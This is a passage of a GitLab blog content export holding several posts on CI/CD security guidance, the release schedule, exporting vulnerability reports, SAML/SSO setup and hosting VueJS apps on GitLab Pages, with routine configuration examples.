pipeline\n_\"Include security scanning early in the CI/CD process.\"_\n\nThe CSI recommends the implementation of the following tools:\n* static application security testing (SAST)\n* registry scanning\n* dynamic analysis security testing\n\nGitLab supports these recommendations through its [SAST](https://docs.gitlab.com/ee/user/application_security/sast/), [dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/), [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/), and [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) features. GitLab also offers additional scanning features such as [code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html) and [dynamic API security testing (DAST API)](https://docs.gitlab.com/ee/user/application_security/dast_api/).\n\nTogether, these [Secure stage](https://about.gitlab.com/features/?stage=secure) features provide comprehensive coverage to help you write secure code faster.\n\n#### Restrict untrusted libraries and tools\n_\"Only use software, tools, libraries, and artifacts from secure and trusted sources.\"_\n\nIn addition to [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), GitLab's [license compliance](https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html) feature enables organizations to incorporate trusted dependencies into their codebase that meet their unique business and security requirements.\n\nWith license compliance, you can check that your dependencies' licenses are compatible with your business and security requirements, and you can approve or deny dependencies based on configured license approval policies.\n\nNote: License compliance is only available for GitLab Ultimate users.\n\n#### Analyze committed code\n_\"Securing the CI/CD pipeline involves analyzing the code that is being committed, which can be achieved manually or by using automated tools.\"_\n\nAs an all-inclusive DevSecOps platform, GitLab supports a seamless and comprehensive approach to reviewing code changes.\n\nWith the scanning features mentioned [above](#integrate-security-scanning-as-part-of-the-cicd-pipeline), you can enable automated code reviews to help identify vulnerabilities, logic flaws, and policy violations.\n\nGitLab's [MR review](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/) feature streamlines the manual code review process. [Suggested Reviewers](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/#suggested-reviewers) makes it easy to identify users who are authorized to review and merge your changes.\n\n![Suggested Reviewers](https://about.gitlab.com/images/blogimages/2023-09-07-how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/suggested-reviewers.png){: .shadow.small.center}\n\nSuggested Reviewers\n{: .note.text-center}\n\nMR approval [rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html) and [settings](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html) help ensure your code review requirements are enforced in a programmatic way.\n\n#### Remove any temporary resources\n_\"A CI/CD pipeline may also create temporary resources, such as virtual machines or Kubernetes clusters, to run tests. While test environments are usually always live, these temporary resources are meant to be created for a single test purpose and must be destroyed after the pipeline run.\"_\n\nWithin GitLab, a temporary runner VM hosts and runs each CI job. GitLab automatically issues a command to remove the temporary runner VM immediately after the CI job completes. Additional details on this process can be found in our documentation for [Security for SaaS runners](https://docs.gitlab.com/ee/ci/runners/#security-for-saas-runners).\n\n#### Keep audit logs\n_\"An audit log should provide clear information on who committed, reviewed, and deployed what, when, and where.\"_\n\nAs outlined in this [blog post](https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey/), GitLab enables you to use [audit events](https://docs.gitlab.com/ee/administration/audit_events.html) to track important events, including who performed the related action and when. Audit events cover a broad range of categories, including:\n* group management\n* authentication and authorization\n* user management\n* compliance and security\n* CI/CD\n* GitLab Runners\n\n![Audit events](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/example-of-an-audit-event.png)\n\nExample of an audit event\n{: .note.text-center}\n\nFor [Ultimate](https://about.gitlab.com/pricing/ultimate/) customers, [audit event streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) can be enabled. Audit event streaming enables users to set a streaming destination for a top-level group or instance to receive all audit events about the group, subgroups, and projects, as structured JSON.\n\n#### Implement an SBOM and SCA \n_\"A software bill of materials (SBOM) and software composition analysis (SCA) can play a useful role in the software development lifecycle (SDLC) and in DevSecOps by helping to track all third-party and open source components in the codebase.\"_\n\nGitLab's [dependency list](https://docs.gitlab.com/ee/user/application_security/dependency_list/) feature enables you to review your project or group’s dependencies, including their known vulnerabilities. \n\nCombining GitLab's dependency list feature with its [SCA](#restrict-untrusted-libraries-and-tools) suite of features supports a comprehensive strategy for identifying and remediating vulnerabilities and risks within your supply chain.\n\n![Dependency List](https://about.gitlab.com/images/blogimages/2023-09-07-how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/dependency-list.png)\n\nExample of dependency list results\n{: .note.text-center}\n\nNote: Dependency list is only available for GitLab Ultimate users.\n\n#### Plan, build, and test for resiliency\n_\"Build the pipeline for high availability, and test for disaster recovery periodically.\"_\n\nAs a SaaS provider, GitLab prioritizes your resiliency and efficiency needs. We maintain robust [business continuity](https://about.gitlab.com/handbook/business-technology/gitlab-business-continuity-plan/) and [disaster recovery](https://gitlab.com/gitlab-com/gl-infra/readiness/-/blob/master/library/disaster-recovery/index.md) strategies to support the availability of the GitLab platform, and we provide helpful strategies for GitLab users to maintain [pipeline efficiency](https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html).\n\nIf you'd like to learn more about what we're doing to maintain the security, confidentiality, and availability of the GitLab platform, please request our [Customer Assurance Package](https://about.gitlab.com/security/cap/).\n\n## Learn more\nAs a comprehensive DevSecOps platform, GitLab supports a broad range of requirements and recommendations. CI/CD environments have become lucrative targets for malicious actors, and the CSI provides excellent guidance for protecting such a critical component of an organization's assets. As a strategic partner, GitLab supports your efforts to safeguard your CI/CD environment and enables you to develop secure software faster. \n\nTo learn more about these features, have a look at our library of [tutorials](https://docs.gitlab.com/ee/tutorials/).\n",[674,754,2705,110],{"slug":8460,"featured":6,"template":678},"how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance","content:en-us:blog:how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance.yml","How Gitlab Supports The Nsa And Cisa Cicd Security Guidance","en-us/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance.yml","en-us/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance",{"_path":8466,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8467,"content":8472,"config":8477,"_id":8479,"_type":16,"title":8480,"_source":17,"_file":8481,"_stem":8482,"_extension":20},"/en-us/blog/gitlab-release-date-change",{"title":8468,"description":8469,"ogTitle":8468,"ogDescription":8469,"noIndex":6,"ogImage":831,"ogUrl":8470,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8470,"schema":8471},"GitLab releases moving to the third Thursday of the month","This move will create more predictability for our customers in terms of the day of week for the release while continuing our monthly pace of self-managed releases.","https://about.gitlab.com/blog/gitlab-release-date-change","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab releases moving to the third Thursday of the month\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ian Pedowitz\"}],\n        \"datePublished\": \"2023-09-18\",\n      }",{"title":8468,"description":8469,"authors":8473,"heroImage":831,"date":8474,"body":8475,"category":736,"tags":8476},[7304],"2023-09-18","\n\nStarting with GitLab 16.6, which will be released on Nov. 16, 2023, **our monthly release date will change from the 22nd of every month to the third Thursday of every month**. This iteration in our release processes will ensure consistency and create more predictability for our customers in terms of the day of the week for the release while continuing our monthly pace of self-managed releases.\n\n## What does this change mean for you?\nIf you’re using GitLab.com SaaS, not much will change as GitLab.com SaaS will continue to deploy multiple times a day.\n\nIf you’re using GitLab self-managed, releases will happen on the third Thursday of every month. If you have any processes, tooling, or automation that is based around the GitLab self-managed release being the 22nd of the month, it will need to be updated to support this new schedule of the third Thursday of the month.\n\nA new rolling 12-month schedule has been added to the [releases page](https://about.gitlab.com/releases/) with more details about these changes, and can be added to your bookmarks. A machine-readable version is also available at [`data/releases.yml`](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/releases.yml).\n",[736,2368,695,774],{"slug":8478,"featured":6,"template":678},"gitlab-release-date-change","content:en-us:blog:gitlab-release-date-change.yml","Gitlab Release Date Change","en-us/blog/gitlab-release-date-change.yml","en-us/blog/gitlab-release-date-change",{"_path":8484,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8485,"content":8490,"config":8495,"_id":8497,"_type":16,"title":8498,"_source":17,"_file":8499,"_stem":8500,"_extension":20},"/en-us/blog/exporting-vulnerability-reports-to-html-pdf-jira",{"title":8486,"description":8487,"ogTitle":8486,"ogDescription":8487,"noIndex":6,"ogImage":3431,"ogUrl":8488,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8488,"schema":8489},"How to export vulnerability reports to HTML/PDF and Jira","With GitLab's API, it's easy to query vulnerability info and send the report details elsewhere, such as a PDF file or a Jira project.","https://about.gitlab.com/blog/exporting-vulnerability-reports-to-html-pdf-jira","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to export vulnerability reports to HTML/PDF and Jira\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Siddharth Mathur\"}],\n        \"datePublished\": \"2023-09-14\",\n      }",{"title":8486,"description":8487,"authors":8491,"heroImage":3431,"date":8492,"body":8493,"category":734,"tags":8494},[7074],"2023-09-14","\nGitLab's [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) makes it easy to triage security scan results without ever having to leave the platform. You can manage your code, run security scans against it, and fix vulnerabilities all in one place. That being said, some teams prefer to manage their vulnerabilities in a separate tool like Jira. They may also need to present the vulnerability report to leadership in a digestible format.\n\nOut of the box, GitLab's Vulnerability Report can be [exported to CSV](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/#export-vulnerability-details) with a single click, for easy analysis in other tools. In some cases though, a simple PDF of the report is all that's needed. \n\nWith [GitLab's API](https://docs.gitlab.com/ee/api/graphql/reference/index.html#queryvulnerabilities), it's easy to query vulnerability info and send the report details elsewhere, such as a PDF file or a Jira project. In this blog, we'll show you how to export to HTML/PDF and Jira. **Note that the scripts used in this tutorial are provided for educational purposes and they are not supported by GitLab.**\n\n## Exporting to HTML/PDF\nTo export your vulnerability reports to HTML or PDF, head to the [Custom Vulnerability Reporting](https://gitlab.com/jwagner-demo/vandelay-industries/engineering/custom-vulnerability-reporting) project. \n\n![Project overview](https://about.gitlab.com/images/blogimages/2023-07-27-exporting-vulnerability-reports-to-html-pdf-and-jira/project_overview.png)\n\n\nThis project contains a script that queries a project's vulnerability report, and then generates an HTML file from that data. The pipeline configured in the project runs this script and converts the HTML file to PDF as well.\n\nTo use the exporter, first [fork the project](https://gitlab.com/jwagner-demo/vandelay-industries/engineering/custom-vulnerability-reporting/-/forks/new) or [import it into a new project](https://gitlab.com/projects/new#import_project) (select “Repository by URL” and paste the git URL of the original project).\n\n![Project import](https://about.gitlab.com/images/blogimages/2023-07-27-exporting-vulnerability-reports-to-html-pdf-and-jira/project_import.png)\n\n\nSet the CI/CD variables as described in the readme. You'll need the following from GitLab:\n- GitLab project/personal access token with permissions to access vulnerability info (read_api scope)\n- GitLab GraphQL API URL (for SaaS this is https://gitlab.com/api/graphql)\n- GitLab project path (e.g. smathur/custom-vulnerability-reporting)\n\nAfter you've set the required CI/CD variables, manually run a pipeline from your project's Pipelines page. Once the pipeline is complete, you'll see your file export by going to the “build_report” (for HTML) or “pdf_conversion” job and selecting “Download” or “Browse” on the sidebar under \"Job artifacts.\" And there you have it! A shareable, easy-to-read export of your project's vulnerabilities.\n\n![PDF export](https://about.gitlab.com/images/blogimages/2023-07-27-exporting-vulnerability-reports-to-html-pdf-and-jira/pdf_export.png)\n\n\n## Exporting vulnerability info to Jira\nGitLab lets you create Jira tickets from vulnerabilities through the UI using our [Jira integration](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#create-a-jira-issue-for-a-vulnerability). While you can do this individually for vulnerabilities that need actioning, sometimes teams need to bulk-create Jira tickets for all their vulnerabilities. We can leverage GitLab and Jira's APIs to achieve this.\n\nTo get started, head to the [External Vulnerability Tracking](https://gitlab.com/smathur/external-vulnerability-tracking) project. This script fetches vulnerabilities in the same way as the script above, but it uses the Jira API to create a ticket for each vulnerability. Each ticket's description is also populated with details from GitLab's vulnerability report.\n\nTo use the exporter, simply [fork the project](https://gitlab.com/smathur/external-vulnerability-tracking/-/forks/new) or [import it into a new project](https://gitlab.com/projects/new#import_project) (select “Repository by URL” and paste the git URL of the original project), and set the CI/CD variables as described in the readme. You'll need the following from GitLab:\n- GitLab project/personal access token with permissions to access vulnerability info (read_api scope)\n- GitLab GraphQL API URL (for SaaS this is https://gitlab.com/api/graphql)\n- GitLab project path (e.g. smathur/external-vulnerability-tracking)\n\nYou will also need the following from Jira:\n- Jira [personal access token](https://id.atlassian.com/manage-profile/security/api-tokens)\n- Jira API issue endpoint URL (for SaaS this is https://ORG_NAME.atlassian.net/rest/api/latest/issue/)\n- Jira user email ID\n- Jira project key where you want to create vulnerability tickets (e.g. ABC)\n\nOnce you have set your CI/CD variables as described in the project readme, simply run a pipeline from your project's Pipelines page, and watch as your tickets get created in Jira!\n\nIf you run the pipeline again in the future, the script will run a search query against your Jira project to prevent duplicate tickets from being created. It will create tickets for new vulnerabilities that aren't already in Jira.\n\n![Jira export](https://about.gitlab.com/images/blogimages/2023-07-27-exporting-vulnerability-reports-to-html-pdf-and-jira/jira_export.png)\n\n\n## References\n- [GitLab Vulnerability API](https://docs.gitlab.com/ee/api/graphql/reference/index.html#queryvulnerabilities)\n- [Custom Vulnerability Reporting project](https://gitlab.com/jwagner-demo/vandelay-industries/engineering/custom-vulnerability-reporting)\n- [External Vulnerability Tracking project](https://gitlab.com/smathur/external-vulnerability-tracking)\n- [Jira REST API examples](https://developer.atlassian.com/server/jira/platform/jira-rest-api-examples/)\n\n",[696,2368,674,944],{"slug":8496,"featured":6,"template":678},"exporting-vulnerability-reports-to-html-pdf-jira","content:en-us:blog:exporting-vulnerability-reports-to-html-pdf-jira.yml","Exporting Vulnerability Reports To Html Pdf Jira","en-us/blog/exporting-vulnerability-reports-to-html-pdf-jira.yml","en-us/blog/exporting-vulnerability-reports-to-html-pdf-jira",{"_path":8502,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8503,"content":8509,"config":8514,"_id":8516,"_type":16,"title":8517,"_source":17,"_file":8518,"_stem":8519,"_extension":20},"/en-us/blog/the-ultimate-guide-to-enabling-saml",{"title":8504,"description":8505,"ogTitle":8504,"ogDescription":8505,"noIndex":6,"ogImage":8506,"ogUrl":8507,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8507,"schema":8508},"The ultimate guide to enabling SAML and SSO on GitLab.com","Learn how to make full use of SAML and SSO security features on the GitLab DevSecOps platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666495/Blog/Hero%20Images/cover-1800x945.png","https://about.gitlab.com/blog/the-ultimate-guide-to-enabling-saml","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The ultimate guide to enabling SAML and SSO on GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bradley Lee\"}],\n        \"datePublished\": \"2023-09-14\",\n      }",{"title":8504,"description":8505,"authors":8510,"heroImage":8506,"date":8492,"body":8512,"category":674,"tags":8513},[8511],"Bradley Lee","\nAs a follow-on to the recent blog, [The ultimate guide to securing your code on\nGitLab.com](https://about.gitlab.com/blog/securing-your-code-on-gitlab/),\nwe recommended enabling SAML (Security Assertion Markup Language) and SSO (single\nsign-on) to enable tighter control over code access. Let’s take a deep dive into\nhow to enable SAML and SSO on GitLab.com.\n\n## What are SAML and SSO?\nSAML is an open standard, which service providers (like GitLab.com) and\nidentity providers (commonly referred to as IdPs) use to communicate\nauthentication data. SSO is provided by IdPs, such as Okta and Entra ID\n(formerly Azure AD), and enables users to log into multiple systems or service\nproviders through a single interface with a single set of credentials.\n\nAs with any configuration, there should be thoughtful and careful planning when\nenabling SSO.\n\n### What are the benefits of SSO?\nIn general, enabling SSO streamlines the user experience by unifying the login\nprocess and reducing the account and password bloat required for multiple\nenterprise applications. Enabling SSO also adds an extra layer of security and\nmanagement efficiency for identity management teams by providing a single\nsource of truth for authentication. Below, you’ll learn how SAML SSO applies\nspecifically to GitLab.com.\n\n## Configuring SSO and SAML for GitLab.com\nPremium and Ultimate tiers can enable SSO in the settings available at the\nnamespace or top level group.\n\n### Enabling SSO at the group level\nBefore getting started, you’ll need a few key\npieces of information from your chosen IdP:\n- The IdP SSO URL\n- The certificate fingerprint provided by the IdP application\n\nOnce these key pieces are entered, check the “Enable SAML\nauthentication for this group” box. \n\n### How user accounts are linked\nBefore we proceed further into configuration, let’s take a look at how GitLab\nauthenticates against the IdP.\n\nFor GitLab.com, each user who requires access to\nthe system must have an account on GitLab.com. By default, when a user first\nattempts logging into GitLab via SSO, GitLab will receive the SAML assertion\nand validate if the identity (specifically the email address) is linked to a\nGitLab.com account. If not, GitLab will request the user either login to an\nexisting account or create a new account. In most instances, this may not be\ndesired behavior; however, we will address this later in the process. We’ve\nprovided a flowchart below to help you navigate the provisioning flow.\n\n![image of saml group links](https://about.gitlab.com/images/blogimages/2023-09-14-ultimate-guide-to-enabling-saml/saml-provisioning.png)\n\n### Enforcing SSO\nTo further increase security, there are two options available for enforcing\nSSO. Assuming neither are checked, users with access to the namespace can log\nin with either the SSO credentials or the GitLab.com credentials.\n\nHere is a working example that we can use to follow along as we discuss how the\nconfiguration options affect our baseline. Let’s consider a user in the IdP\nwhere the username is `idpusername` and contains a super secret password:\n`idppassword` (apologies, security professionals). Taking into account the\ninformation we just learned about account linking, let us also assume our demo\nuser created a new account following the prompt from an SSO login with a\nusername of `gitlabusername` and `gitlabpassword` as an even more secure\npassword.\n\n#### Enforcing SSO only for web\nWhen enabling the “Enforce SSO-only authentication for web activity for this\ngroup” setting, all members must now access all groups and projects under the\nhierarchy using the configured SSO login regardless of whether they have an\nexisting SAML identity. As we mentioned prior, with this flag disabled, our\n`idpusername` user will be able to log into the GitLab namespace with either\nthe `idpusername` or `gitlabusername` credential sets. When we enable this\nsetting for web-based activity ([further details in\ndocs](https://docs.gitlab.com/ee/user/group/saml_sso/#sso-only-for-web-activity-enforcement)),\nour group is now only accessible by the `idpusername` credential set.\n\n#### Enforcing SSO only for Git proxy\nVery similar to enforcing SSO for web, when the “Enforce SSO-only\nauthentication for Git and Dependency Proxy” activity for this group option is\nenabled, a few things happen:\n- Calling an API endpoint that involves Git activity requires SSO.\n- For Git activity over SSH and HTTPS, users must have at least one active session signed-in through SSO before they can push to or pull.\n\nThere is a strong recommendation to enable both of these settings to take full\nadvantage of the benefits of SSO for users and administrators through\ncentralized authentication.\n\n### Enterprise user support\nNow that we know how some of the configuration options can help secure access,\nlet’s take a deeper dive into user management. Consider the following scenario:\nOur `idpusername` user has decided to pursue another opportunity outside of the\ndomain. Based on what we have configured now, once the account has been\ndeprovisioned from the IdP, it should no longer have access to anything secured\nbehind it on GitLab.com. However, while the user will not have access, the\nassociated user ID and roles still remain until manually removed. This is where\nEnterprise users come in.\n\n#### What are Enterprise users in GitLab?\nIf you look closely, any user that has a linked SSO account will carry a `SAML`\nbadge in the member list. GitLab also has an associated `Enterprise` badge\nthat grants additional management functionality through SSO. For a user to\ncarry the `Enterprise` badge, the user must either have the initial GitLab.com account creation initiated by a SAML SSO login or have the initial GitLab.com account created by SCIM.\n\n#### What is SCIM?\nSCIM, or System for Cross-domain Identity Management, is another standard\nused in conjunction with SAML, primarily for provisioning and deprovisioning\nacross multiple systems. By enabling SCIM for your GitLab.com group (which is\ncurrently supported with Entra ID and Okta), you can enable automatic\nprovisioning and deprovisioning of accounts.\n\nIf we look back at some of our scenarios, without SCIM, our `idpusername` user\nwas prompted to create or link a GitLab.com account on first login. With SCIM\nenabled, this process is handled automatically based on information provided\nand managed by the IdP and is completely transparent to the end user. The\nsecond half of our scenario, where our `idpusername` user is deprovisioned from\nthe IdP, also is solved with automation via SCIM. In this instance, when the\nuser is removed on the IdP side, SCIM automatically disconnects the SAML\nidentity from the GitLab.com account and removes the user from the GitLab.com\ngroup.\n\n#### Protecting your intellectual property\nAnother important feature of Enterprise users is the ability to control two\nvery important user settings that are not accessible to group administrators on\nGitLab.com. Since all users require an account on GitLab.com, they are also\ngranted access to a personal user namespace. For example, our `idpusername` will have access to our Acme Corp. group at `.com/acmecorp`, and will also have\naccess to their own personal space at `.com/idpusername`. One common concern with this is the ability for users to take code out of the organization\nnamespace and commit to their own personal namespace.\n\nWith Enterprise users, we have two settings that we can control based on attributes received in the SAML\nresponse. These keys are `projects_limit` and `can_create_group`. The\n`projects_limit` is an integer value that sets the amount of projects a user\ncan create in their personal namespace. When set to `0`, this effectively\ndisables project creation in that space. Similarly, `can_create_group` is a\nboolean `true` or `false` value that indicates whether a user can create new\ngroups.\n\n### Managing roles with SAML\nNow that we know the ins and outs of creating and removing users with SAML and\nSCIM, how can we leverage our work to help manage our active users? In this\nfinal section, we’ll take a look at why we recommend setting default membership\nto \"Minimal Access\" and how to leverage group memberships in the IdP.\n\n#### Why Minimal Access?\nIn the [Ultimate guide to securing your code on GitLab](https://about.gitlab.com/blog/securing-your-code-on-gitlab/),\nwe recommend setting the default membership role to Minimal Access, and\noperating with the concept of least privilege. Roles can be elevated as needed\nin subgroups or individual projects while preventing visibility to projects or\nsubgroups where the user is not explicitly granted another role. By default,\nthis option is set to Guest, which will allow all provisioned users guest\naccess to the repositories. Default membership controls are available at the\ntop-level group, along with the SAML and SSO settings. For automation at the\nsubgroup level, we can leverage SAML Group Sync.\n\n#### Configuring SAML Group Sync with SAML Group Links\nBefore we dive into the configuration, there is one very important step we need\nto take. The configured SAML assertion that is sent MUST include an attribute\nnamed `Groups` or `groups`. If SAML Group Links are present without the\nattribute in the assertion, users may be removed from the group or reverted to\nMinimal Access.\n\nAfter we ensure our assertions contain the necessary information, we can start\nusing SAML Group Links to automatically assign membership roles to GitLab\ngroups based on group membership in the IdP. Let’s build on our demo user\n`idpusername` by considering the following:\n- `idpusername` is a maintainer on the acme-web project.\n- The `acme-web` project exists under the `acme-corp` namespace, under subgroup `acme-com`.\n- The full path to the project would be `.com/acme-corp/acme-com/acme-web`.\n- `idpusername` should also be granted developer access for the `acme-db` project, which is also under the `acme-com` group.\n- In our IdP, `idpusername` is a member of the IdP group `idp-acme-com`.\n\nSAML group links allow us to map IdP group memberships to role assignments at\nthe GitLab group level. In this scenario, we can create a group link at the\n`acme-com` group in GitLab that maps the IdP group `idp-acme-com` to the\ndeveloper role to the `acme-com` group.\n\nDue to inheritance, our `idpusername`\nuser will be granted developer access and associated visibility to every\nproject and group that falls under the GitLab `acme-com` group automatically by\nvirtue of the IdP group membership, because we’re working under the concept of\nleast privilege for the `acme-web` project.\n\nThe `idpusername` user’s role can\nbe elevated to maintainer directly in the project. From a user perspective,\n`idpusername` would still carry the Minimal Access role at the `acme-corp`\ngroup as well. This allows a separation of access management between\nengineering and identity management teams and allows role management to be\nflexible with guardrails.\n\n![image of saml group links](https://about.gitlab.com/images/blogimages/2023-09-14-ultimate-guide-to-enabling-saml/saml-group-links.png)\n\nWith this approach, it’s important to find that balance between what is managed\nin the IdP and what is managed in GitLab. It’s possible to have hundreds of\ngroup mappings to roles in the IdP and almost completely remove role management\nwithin GitLab and vice versa. The flexibility that GitLab allows enables you to\nfind the best solution that works for you. Building on our example, if we hire\nanother engineer for the `acme-com` project, they can be added to the GitLab\napplication in the IdP, and added to the `idp-acme-com` group. This\nautomatically assigns them the developer role at the `acme-com` group and for\nall projects under it, while limiting access to any other groups outside of\n`acme-com` in the namespace.\n\n## Learn more\nWe’ve covered how to get started with enabling SAML and SSO on your GitLab.com\ngroup, along with how to leverage the features to programmatically manage users\nand roles with real examples. For more information, see the full [SAML SSO for\nGitLab.com groups](https://docs.gitlab.com/ee/user/group/saml_sso/)\ndocumentation.\n\nCover image by [Towfiqu barbhuiya](https://unsplash.com/photos/FnA5pAzqhMM) on [Unsplash](https://unsplash.com)\n{: .note}\n",[674,696,479],{"slug":8515,"featured":6,"template":678},"the-ultimate-guide-to-enabling-saml","content:en-us:blog:the-ultimate-guide-to-enabling-saml.yml","The Ultimate Guide To Enabling Saml","en-us/blog/the-ultimate-guide-to-enabling-saml.yml","en-us/blog/the-ultimate-guide-to-enabling-saml",{"_path":8521,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8522,"content":8528,"config":8533,"_id":8535,"_type":16,"title":8536,"_source":17,"_file":8537,"_stem":8538,"_extension":20},"/en-us/blog/hosting-vuejs-apps-using-gitlab-pages",{"title":8523,"description":8524,"ogTitle":8523,"ogDescription":8524,"noIndex":6,"ogImage":8525,"ogUrl":8526,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8526,"schema":8527},"How to host VueJS apps using GitLab Pages","Follow this tutorial, including detailed configuration guidance, to quickly get your application up and running for free.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683489/Blog/Hero%20Images/hosting.png","https://about.gitlab.com/blog/hosting-vuejs-apps-using-gitlab-pages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to host VueJS apps using GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sophia Manicor\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2023-09-13\",\n      }",{"title":8523,"description":8524,"authors":8529,"heroImage":8525,"date":8530,"body":8531,"category":734,"tags":8532},[3927,2621],"2023-09-13","\nIf you use VueJS to build websites, then you can host your website for free with GitLab Pages. This short tutorial walks you through a simple way to host and deploy your VueJS applications using GitLab CI/CD and GitLab Pages.\n\n## Prequisites\n- A VueJS application\n- Working knowledge of GitLab CI\n- 5 minutes\n\n## Setting up your VueJS application\n\n1) Install vue-cli.\n\n```bash\nnpm install -g @vue/cli\n# OR\nyarn global add @vue/cli\n```\nYou can check you have the right version of Vue with:\n\n```bash\nvue --version\n```\n\n2) Create your application using:\n\n```bash\nvue create name-of-app\n```\n\nWhen successfully completed, you will have a scaffolding of your VueJS application.\n\n## Setting up .gitlab-ci.yml for GitLab Pages\nBelow is the [GitLab CI configuration](https://gitlab.com/demos/applications/vuejs-gitlab-pages/-/blob/main/.gitlab-ci.yml) necessary to deploy to GitLab Pages. Put this file into your root project. GitLab Pages always deploys your website from a specific folder called `public`.\n\n```yaml\nimage: \"node:16-alpine\"\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  script:\n    - yarn install --frozen-lockfile --check-files --non-interactive\n    - yarn build\n  artifacts:\n    paths:\n      - public\n\npages:\n  stage: deploy\n  script:\n    - echo 'Pages deployment job'\n  artifacts:\n    paths:\n      - public\n  only:\n    - main\n\n```\n\n## Vue config (vue.config.js)\nIn Vue, the artifacts are built in a folder called dist, in order for GitLab to deploy to Pages, we need to change the path of the artifacts. One way to do this is by changing the [Vue config file](https://gitlab.com/demos/applications/vuejs-gitlab-pages/-/blob/main/vue.config.js), `vue.config.js`.\n\n```\nconst { defineConfig } = require('@vue/cli-service')\n\nfunction publicPath () {\n  if (process.env.CI_PAGES_URL) {\n    return new URL(process.env.CI_PAGES_URL).pathname\n  } else {\n    return '/'\n  }\n}\n\nmodule.exports = defineConfig({\n  transpileDependencies: true,\n  publicPath: publicPath(),\n  outputDir: 'public'\n})\n```\n\nHere we have set `outputDir` to `public` so that GitLab will pick up the build artifacts and deploy to Pages. Another important piece when creating this configuration file is to change the `publicPath`, which is the base URL your application will be deployed at. In this case, we have create a function `publicPath()` that checks if the CI_PAGES_URL environment variable is set and returns the correct base URL.\n\n## Run GitLab CI\n\n![vuejs-gitlab-pages-pipeline](https://about.gitlab.com/images/blogimages/2023-05-11-hosting-vuejs-apps-using-gitlab-pages/vuejs-gitlab-pages-pipeline.png){: .shadow}\n\n\n## Check Pages to get your URL\n\n![gitlab-pages-domain](https://about.gitlab.com/images/blogimages/2023-05-11-hosting-vuejs-apps-using-gitlab-pages/gitlab-page-domain.png){: .shadow}\n\nVoila! You have set up a VueJS project with a fully functioning CI/CD pipeline. Enjoy your VueJS application hosted by GitLab Pages!\n\n## References\n- [https://cli.vuejs.org/guide/installation.html](https://cli.vuejs.org/guide/installation.html)\n- [https://cli.vuejs.org/guide/creating-a-project.html](https://cli.vuejs.org/guide/creating-a-project.html)\n- [https://gitlab.com/demos/applications/vuejs-gitlab-pages](https://gitlab.com/demos/applications/vuejs-gitlab-pages)\n\n",[110,696,1384,1385],{"slug":8534,"featured":6,"template":678},"hosting-vuejs-apps-using-gitlab-pages","content:en-us:blog:hosting-vuejs-apps-using-gitlab-pages.yml","Hosting Vuejs Apps Using Gitlab Pages","en-us/blog/hosting-vuejs-apps-using-gitlab-pages.yml","en-us/blog/hosting-vuejs-apps-using-gitlab-pages",{"_path":8540,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8541,"content":8546,"config":8551,"_id":8553,"_type":16,"title":8554,"_source":17,"_file":8555,"_stem":8556,"_extension":20},"/en-us/blog/keyless-signing-with-cosign",{"title":8542,"description":8543,"ogTitle":8542,"ogDescription":8543,"noIndex":6,"ogImage":6022,"ogUrl":8544,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8544,"schema":8545},"Streamline security with keyless signing and verification in GitLab","Our partnership with Sigstore means that with just a few lines in a yml file, GitLab customers can make their development environment more secure.","https://about.gitlab.com/blog/keyless-signing-with-cosign","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Streamline security with keyless signing and verification in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam White\"}],\n        \"datePublished\": \"2023-09-13\",\n      }",{"title":8542,"description":8543,"authors":8547,"heroImage":6022,"date":8530,"body":8549,"category":674,"tags":8550},[8548],"Sam White","\nTraditional cryptographic keys have created security issues and management overhead for software development 